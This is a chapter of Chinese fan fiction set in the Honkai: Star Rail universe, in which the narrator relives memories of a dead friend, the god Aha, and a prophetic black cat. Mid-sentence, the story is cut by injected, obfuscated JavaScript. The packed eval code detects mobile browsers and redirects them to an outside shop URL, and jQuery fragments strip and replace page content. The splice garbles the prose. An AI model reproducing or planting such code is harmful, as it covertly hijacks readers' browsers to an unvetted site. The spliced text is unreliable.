你回到小木屋的时候,笨笨并不在。
你感应了一下它的方位。
啊,果然在铆钉镇。
自从向星核许过愿望之后,你和这颗星球的联系就变得格外紧密起来。
星核逸散的能量笼罩了这颗星球的每一个地方,它是你的眼,你的耳,只要你想,你可以感觉到在这颗星球上发生的每一件事情。
当然,命运的馈赠是有代价的。
你能感觉到,如果这颗星球受到伤害,你也会受到反噬。
你们已然命运相连。
今天发生的事情,对你来说真的是经过深思熟虑过后的决定吗?你会在未来后悔吗?还是会如今天这般,将其他星球的命运也缚于你身?
你不知道。
你很少思考未来的事情——一个连过去都没有的人拿什么思考未来的事情?
但你有种感觉,你已经做出了一个*足以决定你命运的决定*。未来的路径已经发生了变化。前路一片混沌……
你在心底祈祷阿哈保佑。这位游戏人间的神灵最爱做的事情,就是把原本「确定」的事情变得「混沌」起来……而那意味着更多「可能」。
自阿基维利陨落后,这部分的权柄就落到了阿哈头上。
虔诚祈祷过后,你拿起那枚琥珀结晶。(希望祂喜欢这个笑话——还有什么比对着阿哈虔诚祈祷更好笑的事情吗?)
琥珀在你手中如流水般融化。你像接触忆泡一样,轻轻将它抵在额头上。
你的思绪渐沉。
……
这个世界只有两种色彩。
一种金色,一种紫色。
(天哪,怎么会有这么糟糕的色彩搭配?这种搭配只有出现在珠宝首饰上你才能接受。)
你在和某人说话。
你看不见那人的长相。不过ta给你的感觉很亲切。
“我知道,■■,不用担心我。”你的声音带着笑意,“让宇宙保持均衡才是「互」的目的。祂将世间万物都放在天秤两方衡量,当你属于过重的那方,祂对你来说就是敌人;但当你属于过轻的那方,祂就是你最好的盟友。但是你知道的,我一向不喜欢比我活得久还比我神秘的家伙。”
“……”
“哦,你说那两位新神?啊,祂们的活力有时候真让我头疼……不过和祂们相处果然十分有趣。”
“……”
“哎,怎么突然提到这么沉重的话题?我怎么可能会*死*?我向来乐于助人,好善乐施,几乎保持绝对中立……我想不明白谁会希望看见我死?”
“……”
“「毁灭」?……呵呵,祂这种向全世界开战的家伙不在我计算内。”
“……”
“在你看来,我是那种很容易沉湎于过去的类型吗?亚德丽芬的灾厄已经过去了,「毁灭」也已经诞生,再谈论这些也没什么意义。你我都知道,「毁灭」必将诞生,不是祂也会是别人。这片宇宙如此糟糕……又如此迷人,连我有时都会诞生毁灭的念头呢,呵呵。”
这段对话似乎到此为止了。
你全程听不懂和你对话那人的语言——没错,不是听不清,而是听不懂。
你需要一个联觉信标,你在心里吐槽。
空间中的金色和紫色扭曲了一阵,如沸腾的水般滚动着,而后画面一转,变成了清晰具体的场景。
下雨了。你撑着伞,站在某条街道上,路上偶有行人走过。
你的心情和天气一样,阴郁忧伤。
你手中抱着束花。你是要去给谁扫墓吗?在胸腔中涌动的这种情感,似乎……是哀悼。
你猜对了。阴雨连绵,远处雷声滚滚,你将花束放在无名的墓碑之上。
“命运无常啊。”你听见自己说,“之前你还专门过来提醒我小心,没想到吧,先*死*的是你。
“何必呢,我的朋友?你明知道我从不干涉人间事,还将这么沉重的担子交给我。”
你叹了口气,叹息声被厚重雨幕阻隔。你看见新鲜的花被雨水打湿,于是将手里握着的伞放在了墓碑边上。
“为什么今天要下雨?”
毫无道理的抱怨。
然而却有人回答了你:“俗话说,天要下雨,娘要嫁人……也许这是老天给你开的玩笑呢?”
你感觉记忆中的自己悲伤的情绪被冲淡了。取而代之的是深深的无语。
“老天爷不会在我朋友的坟头跟我开玩笑,但你会。”你转过身,“阿哈,你来干什么?”
“给你讲个不好笑的笑话?哈哈,开玩笑的!——下雨了,我来给你送伞。”
“想安慰我就直说。”
“哈哈——你还需要安慰?我还以为你身体里的每一个部分都是硬的,包括你的心——啊!别揍我,这是我新买的伞!”
“你知道吗,你最大缺点就是长了张嘴。不会讲笑话就别讲!我真想让全天下的「欢愉」信徒都知道他们的神明不会讲笑话!”
“哈哈哈哈哈——抱歉,我只是觉得,你刚才讲了个很好笑的笑话。伞!我的伞真的要坏了!虽然我没有面子——物理意义上的面子——但我也是需要挡雨的!你今天真的格外暴躁。说真的,需要我跟你介绍几个排解坏情绪的法子吗?”
“你最好说点真的管用的。”
“来世界尽头,弄点*解忧*饮品喝喝?”
“你说的是那个不允许你入内的酒馆?你不是说,那是整个世界最不「欢愉」的地方吗?”
“哈哈,那个酒馆本身就是个*笑话*!但是,那里也承载着我的心血啊!我亲自参与了里面的装修,甚至在灯球里放了给每位「假面愚者」的礼物——哈哈哈,连你也有份哦!不来试试吗?”
“我又不是「假面愚者」……”
“你可以是,亲爱的。”
……
你不知道这段记忆到底何意味。如果是想记录一下那个被抹掉的■■在提醒你有可能会死之后反倒自己先死了,在墓碑那里就可以停止了。
然而阿哈出现了。你看见了祂的脸——哦,乐子神在上,假面愚者说的是真的,祂真的没有面子!
你在和一个*无面人*交谈。
好歹你知道了,你和阿哈关系真的不错,难怪在梦里你能把祂喊来。
虽然纳努克也来了就是了。
还有,死掉的■■把什么重担留给了你?你的记忆总是截取一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285793|198427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个片段,也不放全,还总是把关键信息模糊处理,跟谜语人似得。
你怀疑它在诡计叙事。
这一段记忆结束于阿哈说的那句话。雨还在下,但是你看不见水洼里你的影子。然后四周极速变黑……
你好像真的来到「世界尽头」了。
眼前是一只又一只的黑猫。
它们闭眼的时候,周围就只是一片漆黑。但当它们睁眼的时候,世界就亮起了一盏又一盏的灯。
你向前走,猫的眼睛就跟着你移动。
最终,你走到世界的尽头。那里有一把椅子,黑猫就坐在上面。
“稀客。”猫开口。
“不稀。”你随口回答道,“你早知道我会来这一遭吧?”
“从我的角度来说,「世界尽头」欢迎任何人。”猫说,“只是鲜少有人造访。”
“喔,那你也知道我要问什么了吧?”
黑猫停顿了一会儿。
“我看出你有着对我的怒火。虽然分量不多。你是想问,我跟■■说了什么,它的死和我有没有关系,对吧?以及,你的结局。
“第一个问题的答案是:有又没有。我可以告诉你我们谈话的全部内容。实际上,我们只是偶然间擦肩而过,祂看见了我,而我告知了你与祂的结局。”
一阵静默。
“所以,祂那时候就已经知道祂会*死*?”你低下头,看着地面。在绝对黑暗的地方,你的伞投不下任何阴影。“那是祂的临终托付……这可真是个让人笑不起来的冷笑话。所以,我的结局也是去*死*?”
黑猫:“在祂死之前,的确如此。”
“这话是什么意思?”
“命运总是奇妙的。在祂能自主选择的时候,祂选择了有关于你的另一种可能。所以……你也拥有了更多的可能。”黑猫平静地说,“于是,这个世界也拥有了更多可能。”
“我听不懂。”你说,“我可不可以把你这句话理解为,祂为了给我创造另一种可能性,才在那时候……选择了*死亡*?”
黑猫颔首。
又是一阵静默。
你感到胸膛中涌上了前所未有的悲伤和……愤怒。
“多有意思。”你说,“到头来,我保护不了任何人。我很好奇,在你的眼里,这个世界是不是一本已完成的剧本,你的观测只是将这本书从前翻到后,知道整个世界迎来它的最终结局。”
“你可以这么理解。”猫说,“但我有必要提醒你:命运并非既定。”
“你的存在不就已经证明命运既定?”
猫的脸上浮现出一丝笑容。这笑容出现在猫身上,多少有些诡异。
“正如你刚才所言,世界是一本已完成的剧本。然而,已完成并非意味着全然不可改变。你知道薛定谔的猫吧?在书页被翻动之前,一切都是*即将到来*而非*已经到来*的状态,用天才们的语言来说,未被观测的命运处在「是与不是」的叠加态。
“对我来说,改变命运的方式即:不观测。
“有时候,让事物处在混沌的模样,能发展出更多的可能性。关于这点,我建议你多向你那位爱笑的朋友取取经,祂善于并且总乐于将水搅浑。”